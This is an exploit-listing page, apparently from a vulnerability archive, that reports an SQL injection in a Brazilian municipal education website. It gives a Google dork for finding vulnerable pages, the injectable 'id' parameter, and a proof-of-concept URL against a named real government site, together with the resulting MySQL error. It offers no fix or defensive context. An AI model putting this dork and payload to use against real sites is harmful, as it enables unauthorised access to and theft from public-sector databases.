Brazil municipal site SQL Injection Vulnerability

2018.09.16

turkz.org (RU)

Risk: Medium

Local: No

Remote: Yes

CVE: N/A

CWE: N/A

################################################################################​#################
# Exploit Title : Brazil municipal site SQL Injection Vulnerability
# Author [ Discovered By ] : Turkz.org - (Zer0Day)
# Date : 16/09/2018
# Vendor Homepage : educacao.itapeva.sp.gov.br
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : Medium
# CWE : CWE-89 [ Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') ]
################################################################################​#################
# Google Dork :
inurl:conselheirosLer.php?id=?
# Exploit :
/?app=treatment&id=[SQL Injection]
################################################################################​#################
# Example Site => http://www.educacao.itapeva.sp.gov.br/conselheirosLer.php?id=11%27 => [ Proof of Concept ] =>
# SQL Database Error =>
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''11''' at line 1
################################################################################​#################
# Turkz.org - sipahiler - zer0day
################################################################################​#################

See this note in RAW Version

Vote for this issue:

100%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

Brazil municipal site SQL Injection Vulnerability

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.